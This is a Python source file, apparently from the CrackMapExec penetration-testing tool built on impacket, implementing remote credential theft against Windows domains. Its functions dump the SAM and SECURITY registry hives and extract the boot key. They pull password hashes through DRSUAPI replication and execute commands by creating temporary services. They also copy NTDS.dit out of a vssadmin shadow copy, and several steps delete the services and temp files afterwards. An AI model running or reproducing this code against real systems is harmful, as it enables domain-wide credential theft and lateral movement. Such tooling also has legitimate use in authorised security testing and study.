2016-05-16 23:48:31 +00:00
|
|
|
import logging
|
|
|
|
import random
|
|
|
|
import string
|
|
|
|
from gevent import sleep
|
|
|
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
|
|
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
|
|
|
|
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
|
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
2016-06-04 05:42:26 +00:00
|
|
|
from cme.credentials.ntds import NTDSHashes
|
2016-05-16 23:48:31 +00:00
|
|
|
from binascii import unhexlify, hexlify
|
2016-06-04 05:42:26 +00:00
|
|
|
from cme.remotefile import RemoteFile
|
2016-05-16 23:48:31 +00:00
|
|
|
|
|
|
|
class RemoteOperations:
|
|
|
|
def __init__(self, smbConnection, doKerberos):
|
|
|
|
self.__smbConnection = smbConnection
|
|
|
|
self.__smbConnection.setTimeout(5*60)
|
|
|
|
self.__serviceName = 'RemoteRegistry'
|
|
|
|
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
|
|
|
self.__rrp = None
|
|
|
|
self.__regHandle = None
|
|
|
|
|
|
|
|
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
|
|
|
|
self.__samr = None
|
|
|
|
self.__domainHandle = None
|
|
|
|
self.__domainName = None
|
|
|
|
|
|
|
|
self.__drsr = None
|
|
|
|
self.__hDrs = None
|
|
|
|
self.__NtdsDsaObjectGuid = None
|
|
|
|
self.__ppartialAttrSet = None
|
|
|
|
self.__prefixTable = []
|
|
|
|
self.__doKerberos = doKerberos
|
|
|
|
|
|
|
|
self.__bootKey = ''
|
|
|
|
self.__disabled = False
|
|
|
|
self.__shouldStop = False
|
|
|
|
self.__started = False
|
|
|
|
|
|
|
|
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
|
|
|
self.__scmr = None
|
|
|
|
self.__tmpServiceName = None
|
|
|
|
self.__serviceDeleted = False
|
|
|
|
|
|
|
|
self.__batchFile = '%TEMP%\\execute.bat'
|
|
|
|
self.__shell = '%COMSPEC% /Q /c '
|
|
|
|
self.__output = '%SYSTEMROOT%\\Temp\\__output'
|
|
|
|
self.__answerTMP = ''
|
|
|
|
|
|
|
|
def __connectSvcCtl(self):
|
|
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
|
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
|
|
self.__scmr.connect()
|
|
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
|
|
|
|
|
|
def __connectWinReg(self):
|
|
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
|
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
|
|
self.__rrp = rpc.get_dce_rpc()
|
|
|
|
self.__rrp.connect()
|
|
|
|
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
|
|
|
|
|
|
|
def connectSamr(self, domain):
|
|
|
|
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
|
|
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
|
|
self.__samr = rpc.get_dce_rpc()
|
|
|
|
self.__samr.connect()
|
|
|
|
self.__samr.bind(samr.MSRPC_UUID_SAMR)
|
|
|
|
resp = samr.hSamrConnect(self.__samr)
|
|
|
|
serverHandle = resp['ServerHandle']
|
|
|
|
|
|
|
|
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
|
|
|
|
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
|
|
|
|
self.__domainHandle = resp['DomainHandle']
|
|
|
|
self.__domainName = domain
|
|
|
|
|
|
|
|
def __connectDrds(self):
|
|
|
|
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
|
|
|
|
protocol='ncacn_ip_tcp')
|
|
|
|
rpc = transport.DCERPCTransportFactory(stringBinding)
|
|
|
|
if hasattr(rpc, 'set_credentials'):
|
|
|
|
# This method exists only for selected protocol sequences.
|
|
|
|
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
|
|
|
|
rpc.set_kerberos(self.__doKerberos)
|
|
|
|
self.__drsr = rpc.get_dce_rpc()
|
|
|
|
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
|
|
if self.__doKerberos:
|
|
|
|
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
|
|
self.__drsr.connect()
|
|
|
|
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
|
|
|
|
|
|
|
|
request = drsuapi.DRSBind()
|
|
|
|
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
|
|
|
|
drs = drsuapi.DRS_EXTENSIONS_INT()
|
|
|
|
drs['cb'] = len(drs) #- 4
|
|
|
|
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
|
|
|
|
drs['SiteObjGuid'] = drsuapi.NULLGUID
|
|
|
|
drs['Pid'] = 0
|
|
|
|
drs['dwReplEpoch'] = 0
|
|
|
|
drs['dwFlagsExt'] = 0
|
|
|
|
drs['ConfigObjGUID'] = drsuapi.NULLGUID
|
|
|
|
drs['dwExtCaps'] = 127
|
|
|
|
request['pextClient']['cb'] = len(drs)
|
|
|
|
request['pextClient']['rgb'] = list(str(drs))
|
|
|
|
resp = self.__drsr.request(request)
|
|
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
|
|
logging.debug('DRSBind() answer')
|
|
|
|
resp.dump()
|
|
|
|
|
|
|
|
self.__hDrs = resp['phDrs']
|
|
|
|
|
|
|
|
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
|
|
|
|
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
|
|
|
|
if logging.getLogger().level == logging.DEBUG:
|
|
|
|
logging.debug('DRSDomainControllerInfo() answer')
|
|
|
|
resp.dump()
|
|
|
|
|
|
|
|
if resp['pmsgOut']['V2']['cItems'] > 0:
|
|
|
|
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
|
|
|
|
else:
|
|
|
|
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
|
|
|
|
raise Exception('Fatal, aborting')
|
|
|
|
|
|
|
|
def getDrsr(self):
|
|
|
|
return self.__drsr
|
|
|
|
|
|
|
|
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
|
|
|
|
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
|
|
|
|
if self.__drsr is None:
|
|
|
|
self.__connectDrds()
|
|
|
|
|
|
|
|
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
|
|
|
|
return resp
|
|
|
|
|
|
|
|
def DRSGetNCChanges(self, userEntry):
|
|
|
|
if self.__drsr is None:
|
|
|
|
self.__connectDrds()
|
|
|
|
|
|
|
|
request = drsuapi.DRSGetNCChanges()
|
|
|
|
request['hDrs'] = self.__hDrs
|
|
|
|
request['dwInVersion'] = 8
|
|
|
|
|
|
|
|
request['pmsgIn']['tag'] = 8
|
|
|
|
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
|
|
|
|
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
|
|
|
|
|
|
|
|
dsName = drsuapi.DSNAME()
|
|
|
|
dsName['SidLen'] = 0
|
|
|
|
dsName['Guid'] = drsuapi.NULLGUID
|
|
|
|
dsName['Sid'] = ''
|
|
|
|
dsName['NameLen'] = len(userEntry)
|
|
|
|
dsName['StringName'] = (userEntry + '\x00')
|
|
|
|
|
|
|
|
dsName['structLen'] = len(dsName.getData())
|
|
|
|
|
|
|
|
request['pmsgIn']['V8']['pNC'] = dsName
|
|
|
|
|
|
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
|
|
|
|
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
|
|
|
|
|
|
|
|
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
|
|
|
|
|
|
|
|
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
|
|
|
|
request['pmsgIn']['V8']['cMaxObjects'] = 1
|
|
|
|
request['pmsgIn']['V8']['cMaxBytes'] = 0
|
|
|
|
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
|
|
|
|
if self.__ppartialAttrSet is None:
|
|
|
|
self.__prefixTable = []
|
|
|
|
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
|
|
|
|
self.__ppartialAttrSet['dwVersion'] = 1
|
|
|
|
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
|
|
|
|
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
|
|
|
|
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
|
|
|
|
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
|
|
|
|
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
|
|
|
|
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
|
|
|
|
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
|
|
|
|
|
|
|
|
return self.__drsr.request(request)
|
|
|
|
|
|
|
|
def getDomainUsers(self, enumerationContext=0):
|
|
|
|
if self.__samr is None:
|
|
|
|
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
|
|
|
|
|
|
try:
|
|
|
|
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
|
|
|
|
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
|
|
|
|
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
|
|
|
|
samr.USER_SERVER_TRUST_ACCOUNT |\
|
|
|
|
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
|
|
|
|
enumerationContext=enumerationContext)
|
|
|
|
except DCERPCException, e:
|
|
|
|
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
|
|
|
raise
|
|
|
|
resp = e.get_packet()
|
|
|
|
return resp
|
|
|
|
|
|
|
|
def ridToSid(self, rid):
|
|
|
|
if self.__samr is None:
|
|
|
|
self.connectSamr(self.getMachineNameAndDomain()[1])
|
|
|
|
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
|
|
|
|
return resp['Sid']
|
|
|
|
|
|
|
|
|
|
|
|
def getMachineNameAndDomain(self):
|
|
|
|
if self.__smbConnection.getServerName() == '':
|
|
|
|
# No serverName.. this is either because we're doing Kerberos
|
|
|
|
# or not receiving that data during the login process.
|
|
|
|
# Let's try getting it through RPC
|
|
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
|
|
|
|
rpc.set_smb_connection(self.__smbConnection)
|
|
|
|
dce = rpc.get_dce_rpc()
|
|
|
|
dce.connect()
|
|
|
|
dce.bind(wkst.MSRPC_UUID_WKST)
|
|
|
|
resp = wkst.hNetrWkstaGetInfo(dce, 100)
|
|
|
|
dce.disconnect()
|
|
|
|
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
|
|
|
|
else:
|
|
|
|
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
|
|
|
|
|
|
|
|
def getDefaultLoginAccount(self):
|
|
|
|
try:
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
|
|
|
|
keyHandle = ans['phkResult']
|
|
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
|
|
|
|
username = dataValue[:-1]
|
|
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
|
|
|
|
domain = dataValue[:-1]
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
if len(domain) > 0:
|
|
|
|
return '%s\\%s' % (domain,username)
|
|
|
|
else:
|
|
|
|
return username
|
|
|
|
except:
|
|
|
|
return None
|
|
|
|
|
|
|
|
def getServiceAccount(self, serviceName):
|
|
|
|
try:
|
|
|
|
# Open the service
|
|
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
|
|
|
|
serviceHandle = ans['lpServiceHandle']
|
|
|
|
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
|
|
|
|
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
|
|
|
|
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
|
|
|
|
if account.startswith('.\\'):
|
|
|
|
account = account[2:]
|
|
|
|
return account
|
|
|
|
except Exception, e:
|
|
|
|
logging.error(e)
|
|
|
|
return None
|
|
|
|
|
|
|
|
def __checkServiceStatus(self):
|
|
|
|
# Open SC Manager
|
|
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
|
|
# Now let's open the service
|
|
|
|
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
|
|
|
self.__serviceHandle = ans['lpServiceHandle']
|
|
|
|
# Let's check its status
|
|
|
|
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
|
|
|
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
|
|
|
logging.info('Service %s is in stopped state'% self.__serviceName)
|
|
|
|
self.__shouldStop = True
|
|
|
|
self.__started = False
|
|
|
|
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
|
|
|
logging.debug('Service %s is already running'% self.__serviceName)
|
|
|
|
self.__shouldStop = False
|
|
|
|
self.__started = True
|
|
|
|
else:
|
|
|
|
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
|
|
|
|
|
|
|
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
|
|
|
if self.__started is False:
|
|
|
|
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
|
|
|
|
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
|
|
|
logging.info('Service %s is disabled, enabling it'% self.__serviceName)
|
|
|
|
self.__disabled = True
|
|
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
|
|
|
|
logging.info('Starting service %s' % self.__serviceName)
|
|
|
|
scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
|
|
|
|
sleep(1)
|
|
|
|
|
|
|
|
def enableRegistry(self):
|
|
|
|
self.__connectSvcCtl()
|
|
|
|
self.__checkServiceStatus()
|
|
|
|
self.__connectWinReg()
|
|
|
|
|
|
|
|
def __restore(self):
|
|
|
|
# First of all stop the service if it was originally stopped
|
|
|
|
if self.__shouldStop is True:
|
|
|
|
logging.info('Stopping service %s' % self.__serviceName)
|
|
|
|
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
|
|
|
if self.__disabled is True:
|
|
|
|
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
|
|
|
|
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
|
|
|
|
if self.__serviceDeleted is False:
|
|
|
|
# Check again the service we created does not exist, starting a new connection
|
|
|
|
# Why?.. Hitting CTRL+C might break the whole existing DCE connection
|
|
|
|
try:
|
|
|
|
rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
|
|
|
|
if hasattr(rpc, 'set_credentials'):
|
|
|
|
# This method exists only for selected protocol sequences.
|
|
|
|
rpc.set_credentials(*self.__smbConnection.getCredentials())
|
|
|
|
rpc.set_kerberos(self.__doKerberos)
|
|
|
|
self.__scmr = rpc.get_dce_rpc()
|
|
|
|
self.__scmr.connect()
|
|
|
|
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
|
|
|
# Open SC Manager
|
|
|
|
ans = scmr.hROpenSCManagerW(self.__scmr)
|
|
|
|
self.__scManagerHandle = ans['lpScHandle']
|
|
|
|
# Now let's open the service
|
|
|
|
resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
|
|
|
|
service = resp['lpServiceHandle']
|
|
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
|
|
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
|
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
|
|
|
|
scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
|
|
|
|
rpc.disconnect()
|
|
|
|
except Exception, e:
|
|
|
|
# If service is stopped it'll trigger an exception
|
|
|
|
# If service does not exist it'll trigger an exception
|
|
|
|
# So. we just wanna be sure we delete it, no need to
|
|
|
|
# show this exception message
|
|
|
|
pass
|
|
|
|
|
|
|
|
def finish(self):
|
|
|
|
self.__restore()
|
|
|
|
if self.__rrp is not None:
|
|
|
|
self.__rrp.disconnect()
|
|
|
|
if self.__drsr is not None:
|
|
|
|
self.__drsr.disconnect()
|
|
|
|
if self.__samr is not None:
|
|
|
|
self.__samr.disconnect()
|
|
|
|
if self.__scmr is not None:
|
|
|
|
self.__scmr.disconnect()
|
|
|
|
|
|
|
|
def getBootKey(self):
|
|
|
|
bootKey = ''
|
|
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
|
|
self.__regHandle = ans['phKey']
|
|
|
|
for key in ['JD','Skew1','GBG','Data']:
|
|
|
|
logging.debug('Retrieving class info for %s'% key)
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
|
|
|
|
keyHandle = ans['phkResult']
|
|
|
|
ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
|
|
|
|
bootKey = bootKey + ans['lpClassOut'][:-1]
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
|
|
|
|
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
|
|
|
|
|
|
bootKey = unhexlify(bootKey)
|
|
|
|
|
|
|
|
for i in xrange(len(bootKey)):
|
|
|
|
self.__bootKey += bootKey[transforms[i]]
|
|
|
|
|
|
|
|
logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))
|
|
|
|
|
|
|
|
return self.__bootKey
|
|
|
|
|
|
|
|
def checkNoLMHashPolicy(self):
|
|
|
|
logging.debug('Checking NoLMHash Policy')
|
|
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
|
|
self.__regHandle = ans['phKey']
|
|
|
|
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
|
|
|
|
keyHandle = ans['phkResult']
|
|
|
|
try:
|
|
|
|
dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
|
|
|
|
except:
|
|
|
|
noLMHash = 0
|
|
|
|
|
|
|
|
if noLMHash != 1:
|
|
|
|
logging.debug('LMHashes are being stored')
|
|
|
|
return False
|
|
|
|
|
|
|
|
logging.debug('LMHashes are NOT being stored')
|
|
|
|
return True
|
|
|
|
|
|
|
|
def __retrieveHive(self, hiveName):
|
|
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
|
|
regHandle = ans['phKey']
|
|
|
|
try:
|
|
|
|
ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
|
|
|
|
except:
|
|
|
|
raise Exception("Can't open %s hive" % hiveName)
|
|
|
|
keyHandle = ans['phkResult']
|
|
|
|
rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
|
|
# Now let's open the remote file, so it can be read later
|
|
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
|
|
|
|
return remoteFileName
|
|
|
|
|
|
|
|
def saveSAM(self):
|
|
|
|
logging.debug('Saving remote SAM database')
|
|
|
|
return self.__retrieveHive('SAM')
|
|
|
|
|
|
|
|
def saveSECURITY(self):
|
|
|
|
logging.debug('Saving remote SECURITY database')
|
|
|
|
return self.__retrieveHive('SECURITY')
|
|
|
|
|
|
|
|
def __executeRemote(self, data):
|
|
|
|
self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
|
|
|
|
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
|
|
|
command += ' & ' + 'del ' + self.__batchFile
|
|
|
|
|
|
|
|
self.__serviceDeleted = False
|
|
|
|
resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command)
|
|
|
|
service = resp['lpServiceHandle']
|
|
|
|
try:
|
|
|
|
scmr.hRStartServiceW(self.__scmr, service)
|
|
|
|
except:
|
|
|
|
pass
|
|
|
|
scmr.hRDeleteService(self.__scmr, service)
|
|
|
|
self.__serviceDeleted = True
|
|
|
|
scmr.hRCloseServiceHandle(self.__scmr, service)
|
|
|
|
def __answer(self, data):
|
|
|
|
self.__answerTMP += data
|
|
|
|
|
|
|
|
def __getLastVSS(self):
|
|
|
|
self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
|
|
|
|
sleep(5)
|
|
|
|
tries = 0
|
|
|
|
while True:
|
|
|
|
try:
|
|
|
|
self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
|
|
|
break
|
|
|
|
except Exception, e:
|
|
|
|
if tries > 30:
|
|
|
|
# We give up
|
|
|
|
raise Exception('Too many tries trying to list vss shadows')
|
|
|
|
if str(e).find('SHARING') > 0:
|
|
|
|
# Stuff didn't finish yet.. wait more
|
|
|
|
sleep(5)
|
|
|
|
tries +=1
|
|
|
|
pass
|
|
|
|
else:
|
|
|
|
raise
|
|
|
|
|
|
|
|
lines = self.__answerTMP.split('\n')
|
|
|
|
lastShadow = ''
|
|
|
|
lastShadowFor = ''
|
|
|
|
|
|
|
|
# Let's find the last one
|
|
|
|
# The string used to search the shadow for drive. Wondering what happens
|
|
|
|
# in other languages
|
|
|
|
SHADOWFOR = 'Volume: ('
|
|
|
|
|
|
|
|
for line in lines:
|
|
|
|
if line.find('GLOBALROOT') > 0:
|
|
|
|
lastShadow = line[line.find('\\\\?'):][:-1]
|
|
|
|
elif line.find(SHADOWFOR) > 0:
|
|
|
|
lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
|
|
|
|
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
|
|
|
|
return lastShadow, lastShadowFor
|
|
|
|
|
|
|
|
def saveNTDS(self):
|
|
|
|
logging.info('Searching for NTDS.dit')
|
|
|
|
# First of all, let's try to read the target NTDS.dit registry entry
|
|
|
|
ans = rrp.hOpenLocalMachine(self.__rrp)
|
|
|
|
regHandle = ans['phKey']
|
|
|
|
try:
|
|
|
|
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
|
|
|
|
keyHandle = ans['phkResult']
|
|
|
|
except:
|
|
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
|
|
return None
|
|
|
|
|
|
|
|
try:
|
|
|
|
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
|
|
|
|
ntdsLocation = dataValue[:-1]
|
|
|
|
ntdsDrive = ntdsLocation[:2]
|
|
|
|
except:
|
|
|
|
# Can't open the registry path, assuming no NTDS on the other end
|
|
|
|
return None
|
|
|
|
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
|
|
|
|
rrp.hBaseRegCloseKey(self.__rrp, regHandle)
|
|
|
|
|
|
|
|
logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
|
|
|
|
# Get the list of remote shadows
|
|
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
|
|
if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
|
|
|
|
# No shadow, create one
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
|
|
|
|
shadow, shadowFor = self.__getLastVSS()
|
|
|
|
shouldRemove = True
|
|
|
|
if shadow == '':
|
|
|
|
raise Exception('Could not get a VSS')
|
|
|
|
else:
|
|
|
|
shouldRemove = False
|
|
|
|
|
|
|
|
# Now copy the ntds.dit to the temp directory
|
|
|
|
tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
|
|
|
|
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
|
|
|
|
|
|
|
|
if shouldRemove is True:
|
|
|
|
self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
|
|
|
|
|
|
|
|
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
|
|
|
|
|
|
|
remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
|
|
|
|
|
|
|
|
return remoteFileName
|